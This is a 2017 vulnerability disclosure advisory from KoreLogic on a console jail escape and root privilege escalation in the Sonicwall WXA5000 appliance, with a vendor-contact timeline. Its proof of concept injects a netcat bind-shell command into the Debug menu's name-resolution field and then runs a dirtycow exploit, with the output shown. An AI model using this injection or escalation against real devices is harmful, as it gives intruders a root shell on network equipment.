KL-001-2017-019 : Sonicwall WXA5000 Console Jail Escape and Privilege Escalation

Title: Sonicwall WXA5000 Console Jail Escape and Privilege Escalation
Advisory ID: KL-001-2017-019
Publication Date: 2017.10.24
Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2017-019.txt


1. Vulnerability Details

     Affected Vendor: Sonicwall
     Affected Product: WXA5000 WAN Optimization Appliance
     Affected Version: 1.3.2-10-30
     Platform: Embedded Linux
     CWE Classification: CWE-78: Improper Neutralization of Special Elements
                         used in an OS Command
     Impact: Root Access
     Attack vector: Console

2. Vulnerability Description

     The console menu for this appliance can be escaped
     into a regular sh shell by using encapsulated $() shell
     commands. Privileges can be escalated to root by using the
     dirtyc0w exploit.

3. Technical Description

  ????????????????SonicWALL WAN Optimization Configuration?????????????????
  ? Show Network Settings                                                 ?
  ? Renew DHCP lease                                                      ?
  ? Show Serial Number                                                    ?
  ? Show Firmware Version                                                 ?
  ? Factory Reset - Restore the device to factory installed state.        ?
  ? Secure Factory Reset - Securely erase hard disk and do Factory Reset. ?
  ? Upgrade Firmware - Upgrade Firmware via USB stick.                    ?
  ? ------------------                                                    ?
  ? Debug                                                                 ?
  ? Help                                                                  ?
  ? ------------------                                                    ?
  ? Reboot                                                                ?
  ? Shutdown                                                              ?
  ?????????????????????????????????????????????????????????????????????????

     Selecting 'Debug' provides a basic diagnostic menu allowing
     the user to ping the gateway, show system load, or resolve a
     domain name.

     Use the following string during name resolution:

        $(nc -l -p 4444 -e /bin/sh 1>&2)

     Next, connect to the shell using netcat.

  $ nc -v 1.3.3.7 4444
  Connection to 1.3.3.7 4444 port [tcp/krb524] succeeded!
  id;uname -a
  uid=1017(wxauser) gid=1017 groups=1017
  Linux WXA5000-9A067AC 3.10.15 #1 SMP Thu Jan 12 07:31:33 PST 2017 x86_64 GNU/Linux

    This kernel version is vulnerable to the dirtycow exploit.

  /tmp/cowroot
  uname -a;id
  Linux WXA5000-9A067AC 3.10.15 #1 SMP Thu Jan 12 07:31:33 PST 2017 x86_64 GNU/Linux
  uid=0(root) gid=1017 groups=0(root),1017

4. Mitigation and Remediation Recommendation

     There is no known remediation for this vulnerability from the vendor. Administrators should heavily restrict access
to any account of any privilege which can use the Debug functionality of the CLI.

     Network access to management interfaces should be properly segmented.

5. Credit

     This vulnerability was discovered by Matt Bergin (@thatguylevel)
     of KoreLogic, Inc.

6. Disclosure Timeline

     2017.07.21 - KoreLogic requests security contact and PGP key from
                  Sonicwall using the vulnerability submission form at
                  https://mysonicwall.com/report/ProdVul.aspx.
     2017.07.24 - KoreLogic requests security contact and PGP key from
                  Sonicwall using security@sonicwall.com email address.
     2017.08.09 - KoreLogic submits vulnerability information to Sonicwall
                  using https://mysonicwall.com/report/ProdVul.aspx.
                  Vulnerability submission ID 10762.
     2017.08.16 - 5 business days have elapsed since the vulnerability
                  was reported. No response from Sonicwall.
     2017.09.21 - 30 business days have elapsed since the vulnerability
                  was reported.
     2017.10.13 - 45 business days have elapsed since the vulnerability
                  was reported to Sonicwall.
     2017.10.19 - KoreLogic requests update from security@sonicwall.com.
     2017.10.24 - KoreLogic public disclosure.

7. Proof of Concept

     See 3. Technical Description.


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KoreLogic, Inc. and are licensed under a Creative Commons
Attribution Share-Alike 4.0 (United States) License:
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